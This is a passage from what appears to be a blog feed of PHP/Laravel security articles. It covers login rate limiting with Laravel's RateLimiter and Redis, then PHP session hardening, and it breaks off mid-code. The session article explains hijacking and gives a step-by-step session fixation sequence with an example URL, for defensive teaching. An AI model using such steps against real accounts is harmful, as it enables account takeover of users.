    &lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'login:'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;':'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'email'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;RateLimiter&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;tooManyAttempts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$seconds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;RateLimiter&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;availableIn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
            &lt;span class="s1"&gt;'message'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"Too many attempts. Try again in &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$seconds&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; seconds."&lt;/span&gt;
        &lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;429&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nc"&gt;Auth&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;attempt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;only&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'email'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;RateLimiter&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;hit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'message'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Invalid credentials.'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nc"&gt;RateLimiter&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;regenerate&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'message'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Authenticated.'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Four methods to understand:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;RateLimiter::hit($key, $decay)&lt;/code&gt; — records an attempt with a decay time in seconds&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;RateLimiter::tooManyAttempts($key, $maxAttempts)&lt;/code&gt; — checks if the limit is exceeded&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;RateLimiter::clear($key)&lt;/code&gt; — resets the counter after successful login so a legitimate user starts fresh&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;RateLimiter::availableIn($key)&lt;/code&gt; — returns seconds until the limit resets for user-friendly error messages&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Redis-backed rate limiting for production:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="c"&gt;# .env
&lt;/span&gt;&lt;span class="n"&gt;CACHE_DRIVER&lt;/span&gt;=&lt;span class="n"&gt;redis&lt;/span&gt;
&lt;span class="n"&gt;REDIS_HOST&lt;/span&gt;=&lt;span class="m"&gt;127&lt;/span&gt;.&lt;span class="m"&gt;0&lt;/span&gt;.&lt;span class="m"&gt;0&lt;/span&gt;.&lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="n"&gt;REDIS_PORT&lt;/span&gt;=&lt;span class="m"&gt;6379&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With Redis as the cache driver Laravel's rate limiting is atomic, fast, and automatically distributed across multiple application servers.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to Rate Limit
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Always — strict limits:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Login endpoints&lt;/li&gt;
&lt;li&gt;Password reset requests&lt;/li&gt;
&lt;li&gt;Registration forms&lt;/li&gt;
&lt;li&gt;Email verification resends&lt;/li&gt;
&lt;li&gt;OTP and 2FA code submission&lt;/li&gt;
&lt;li&gt;Account deletion confirmation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Moderate limits:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;API endpoints for authenticated users&lt;/li&gt;
&lt;li&gt;Search endpoints&lt;/li&gt;
&lt;li&gt;File upload endpoints&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Generous limits:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Public API endpoints&lt;/li&gt;
&lt;li&gt;Contact forms&lt;/li&gt;
&lt;li&gt;Comment submission&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Responding to Rate Limit Violations
&lt;/h2&gt;

&lt;p&gt;How you respond matters as much as whether you rate limit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Wrong — reveals too much&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
    &lt;span class="s1"&gt;'error'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'You have made 5 failed login attempts for user@example.com'&lt;/span&gt;
&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;429&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Correct — generic with retry timing&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
    &lt;span class="s1"&gt;'message'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Too many attempts. Please try again later.'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'retry_after'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$seconds&lt;/span&gt;
&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;429&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Never reveal which factor triggered the rate limit. Never reveal how many attempts were made. Never reveal whether the account exists. Generic messages protect against attackers using rate limit responses to enumerate valid accounts.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Rate Limiting Checklist
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;For plain PHP:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use Redis for rate limiting in production not sessions&lt;/li&gt;
&lt;li&gt;Rate limit by IP address and by username separately&lt;/li&gt;
&lt;li&gt;Be aware that INCR followed by EXPIRE is not atomic use transactions for critical implementations&lt;/li&gt;
&lt;li&gt;Set the &lt;code&gt;Retry-After&lt;/code&gt; header on every 429 response&lt;/li&gt;
&lt;li&gt;Clean up old rate limit data automatically using Redis expiry&lt;/li&gt;
&lt;li&gt;Implement progressive delays for a better legitimate user experience&lt;/li&gt;
&lt;li&gt;Log rate limit violations for security monitoring&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For Laravel:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use named rate limiters for complex rules&lt;/li&gt;
&lt;li&gt;Rate limit by both IP and email on login endpoints&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;RateLimiter::clear()&lt;/code&gt; to reset the counter on successful login&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;CACHE_DRIVER=redis&lt;/code&gt; in production&lt;/li&gt;
&lt;li&gt;Rate limit password reset, registration, OTP, and 2FA endpoints&lt;/li&gt;
&lt;li&gt;Never reveal which rate limit factor was triggered in error messages&lt;/li&gt;
&lt;li&gt;Check your Laravel version for the correct location of rate limiter configuration&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Where Kriosa Fits
&lt;/h2&gt;

&lt;p&gt;Rate limiting at the application layer controls how many requests reach your login logic. But it has gaps.&lt;/p&gt;

&lt;p&gt;A credential stuffing attack where each compromised credential is tried only once never triggers a rate limit  because one attempt per account is never flagged. An attacker using a large botnet can stay under per-IP rate limits while still making thousands of attempts across your user base.&lt;/p&gt;

&lt;p&gt;These are the attacks that application-level rate limiting cannot see because each individual request looks legitimate.&lt;/p&gt;

&lt;p&gt;Kriosa monitors incoming request patterns for behavioral signals that individual rate limiters cannot surface  flagging suspicious activity in the XAI dashboard with an explanation of what was detected and why.&lt;br&gt;
production PHP applications are already running with Kriosa in front of them.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://prooflify.freedev.app" rel="noopener noreferrer"&gt;Prolify&lt;/a&gt; — a design-proofing platform where designers share work with clients for review and approval. Every session is a trust boundary. A compromised login means a client's unreleased creative work is exposed to the wrong person.&lt;br&gt;
&lt;a href="https://bellefull.kesug.com" rel="noopener noreferrer"&gt;&lt;br&gt;
belle full&lt;/a&gt; — a PHP application built for bakers, handling real customer orders and business data. Secured with Kriosa from day one not retrofitted after a scare, built with protection as a foundation.&lt;/p&gt;

&lt;p&gt;Both applications implement application-level rate limiting on their login and sensitive endpoints. That handles the obvious attacks  a single IP hammering a login form, a script cycling through common passwords.&lt;/p&gt;

&lt;p&gt;What rate limiting cannot see is the subtler pattern. One attempt against one account from one IP looks like a normal failed login. One thousand attempts spread across one thousand accounts from one thousand IPs each individually normal looks like nothing to a rate limiter. To Kriosa it looks like a coordinated attack.&lt;/p&gt;

&lt;p&gt;That is the layer Prooflify and Belle-Full have that rate limiting alone cannot provide. Visibility into what is happening across the application not just at each individual endpoint.&lt;/p&gt;

&lt;p&gt;Rate limiting controls the rate. Kriosa helps you understand the pattern.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;strong&gt;&lt;a href="https://kriosa.com/demo.php" rel="noopener noreferrer"&gt;kriosa.com&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;
Install it: &lt;code&gt;composer require kriosa-ai/kriosa-php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Documentation: &lt;a href="https://kriosa.com/documentation.php" rel="noopener noreferrer"&gt;kriosa Docs&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.&lt;/em&gt;&lt;br&gt;
The Series So Far&lt;/p&gt;

&lt;p&gt;Article 1: What your PHP logs actually look like during a SQL injection attack&lt;br&gt;
Article 2: Why URL encoding can break PHP security checks&lt;br&gt;
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability&lt;br&gt;
Article 4: Parameterized queries — the only real fix for SQL injection&lt;br&gt;
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked&lt;br&gt;
Article 6: How attackers enumerate your Laravel app before exploiting it&lt;br&gt;
Article 7: File upload security in PHP and Laravel&lt;br&gt;
Article 8: Path traversal in PHP — how ../ escapes your application&lt;br&gt;
Article 9: Command injection in PHP — when exec() becomes an attack surface&lt;br&gt;
Article 10: Broken access control in Laravel — why being logged in is not enough&lt;br&gt;
Article 11: Secrets in Laravel — why .env is only the beginning&lt;br&gt;
Article 12: Session security in PHP — what most developers get wrong&lt;br&gt;
Article 13: This article — rate limiting in Laravel and PHP and how to stop brute force before it starts&lt;/p&gt;

</description>
      <category>php</category>
      <category>laravel</category>
      <category>security</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Session Security in PHP — What Most Developers Get Wrong</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Tue, 11 Aug 2026 07:00:00 +0000</pubDate>
      <link>https://dev.to/kriosa/session-security-in-php-what-most-developers-get-wrong-4n62</link>
      <guid>https://dev.to/kriosa/session-security-in-php-what-most-developers-get-wrong-4n62</guid>
      <description>&lt;p&gt;&lt;strong&gt;ORIGINALLY PUBLISHED ON MEDIUM&lt;/strong&gt;&lt;br&gt;
The session ID is the key to your user's account. Here is every way attackers steal it and how to stop them.&lt;/p&gt;

&lt;p&gt;This is the twelfth article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detecting SQL injection attempts in PHP logs&lt;/li&gt;
&lt;li&gt;Why URL encoding blinds most PHP security checks&lt;/li&gt;
&lt;li&gt;The decode bomb problem with unlimited URL decoding&lt;/li&gt;
&lt;li&gt;Why parameterized queries are the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;File upload security — the file that isn't what it claims to be&lt;/li&gt;
&lt;li&gt;Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;Broken access control in Laravel — why being logged in is not enough&lt;/li&gt;
&lt;li&gt;Secrets in Laravel — why &lt;code&gt;.env&lt;/code&gt; is only the beginning&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every article in this series follows the same principle: understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;Session security is different from most vulnerabilities in this series. SQL injection, XSS, and path traversal attack your application directly. Session attacks attack the identity layer the mechanism that proves who a user is after they have authenticated. Get it wrong and it does not matter how secure the rest of your application is. An attacker with a valid session ID is indistinguishable from a legitimate user.&lt;/p&gt;
&lt;h2&gt;
  
  
  How PHP Sessions Work
&lt;/h2&gt;

&lt;p&gt;When a user visits your PHP application PHP creates a session:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;PHP generates a cryptographically random session ID&lt;/li&gt;
&lt;li&gt;PHP stores that session ID in a cookie on the user's browser — by default called &lt;code&gt;PHPSESSID&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;PHP stores session data on the server keyed by that session ID&lt;/li&gt;
&lt;li&gt;On every subsequent request the browser sends the session cookie automatically&lt;/li&gt;
&lt;li&gt;PHP reads the session ID from the cookie and restores the session&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The session ID is the key to everything. Whoever holds that session ID can impersonate the user it belongs to. This is what every session attack targets.&lt;/p&gt;
&lt;h2&gt;
  
  
  Attack 1 — Session Hijacking
&lt;/h2&gt;

&lt;p&gt;Session hijacking is when an attacker steals a valid session ID and uses it to impersonate the legitimate user.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Method 1 — XSS:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If your application has an XSS vulnerability an attacker injects JavaScript that reads the session cookie and sends it to their server. This is why the &lt;code&gt;HttpOnly&lt;/code&gt; cookie attribute exists it prevents JavaScript from reading cookies entirely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Method 2 — Network interception:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If your application runs over HTTP an attacker on the same network can intercept the session cookie from unencrypted traffic. This is why the &lt;code&gt;Secure&lt;/code&gt; cookie attribute exists it tells the browser to only send the cookie over HTTPS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Method 3 — Session IDs in URLs:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/dashboard?PHPSESSID=abc123def456
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;URL-based session IDs appear in server logs, browser history, and referrer headers. Stealing them requires no technical attack just access to a log file.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Method 4 — Predictable session IDs:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If session IDs are generated with weak randomness an attacker can predict or brute force them. PHP's default session ID generation is cryptographically secure — but custom session ID generation in older applications often is not.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attack 2 — Session Fixation
&lt;/h2&gt;

&lt;p&gt;The attacker does not steal a session ID they force the victim to use one the attacker already knows.&lt;/p&gt;

&lt;p&gt;The attack sequence:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Attacker obtains a valid session ID: &lt;code&gt;abc123&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Attacker tricks the victim into using that session ID: &lt;code&gt;https://yoursite.com/login?PHPSESSID=abc123&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Victim logs in using session ID &lt;code&gt;abc123&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;If your application does not generate a new session ID after login, session &lt;code&gt;abc123&lt;/code&gt; is now authenticated&lt;/li&gt;
&lt;li&gt;Attacker uses session ID &lt;code&gt;abc123&lt;/code&gt; — which they have known all along to access the victim's account&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The victim logged in successfully. The attacker never knew their password. The attack worked because the session ID did not change after authentication.&lt;/p&gt;

&lt;h2&gt;
  
  
  PHP Session Configuration A Production Baseline
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c"&gt;; php.ini
&lt;/span&gt;
&lt;span class="c"&gt;; Never accept session IDs in URLs only in cookies
&lt;/span&gt;&lt;span class="py"&gt;session.use_only_cookies&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;1&lt;/span&gt;

&lt;span class="c"&gt;; Prevent JavaScript from reading session cookies
&lt;/span&gt;&lt;span class="py"&gt;session.cookie_httponly&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;1&lt;/span&gt;

&lt;span class="c"&gt;; Only send session cookies over HTTPS
&lt;/span&gt;&lt;span class="py"&gt;session.cookie_secure&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;1&lt;/span&gt;

&lt;span class="c"&gt;; Restrict cookie to same-site requests
&lt;/span&gt;&lt;span class="py"&gt;session.cookie_samesite&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;Lax&lt;/span&gt;

&lt;span class="c"&gt;; Reject unrecognized session IDs
&lt;/span&gt;&lt;span class="py"&gt;session.use_strict_mode&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;1&lt;/span&gt;

&lt;span class="c"&gt;; Set a reasonable session lifetime
&lt;/span&gt;&lt;span class="py"&gt;session.gc_maxlifetime&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;1440&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The two most important settings:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;session.use_only_cookies = 1&lt;/code&gt; prevents PHP from accepting session IDs in URLs.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;session.use_strict_mode = 1&lt;/code&gt; rejects session IDs that PHP did not create.&lt;/p&gt;

&lt;p&gt;Together these two settings eliminate the most common session fixation attack vector at the configuration level.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fixing Session Fixation — Session Regeneration
&lt;/h2&gt;

&lt;p&gt;Configuration alone is not enough. Your application must regenerate the session ID after every successful login:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;session_start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$credentialsAreValid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Regenerate the session ID and delete the old session data&lt;/span&gt;
    &lt;span class="nb"&gt;session_regenerate_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Now set authenticated session data&lt;/span&gt;
    &lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user_id'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'authenticated'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;true&lt;/code&gt; parameter deletes the old session data on the server. This removes the window an attacker could exploit if they had the previous session ID.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Also regenerate on privilege changes:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;session_regenerate_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'role'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Cookie Security Attributes
&lt;/h2&gt;

&lt;p&gt;Every session cookie requires three security attributes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HttpOnly — prevents JavaScript from reading the cookie:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;session_set_cookie_params&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'httponly'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Secure — HTTPS only:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;session_set_cookie_params&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'secure'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SameSite — controls cross-site cookie sending:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;session_set_cookie_params&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'samesite'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Lax'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;Lax&lt;/code&gt; provides meaningful CSRF protection while preserving most legitimate use cases. &lt;code&gt;Strict&lt;/code&gt; is strongest but breaks flows like clicking an external link into an authenticated state. &lt;code&gt;None&lt;/code&gt; always sends the cookie  only for intentional cross-site use cases and only with &lt;code&gt;Secure&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The complete secure session setup:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Call before session_start()&lt;/span&gt;
&lt;span class="nb"&gt;session_set_cookie_params&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
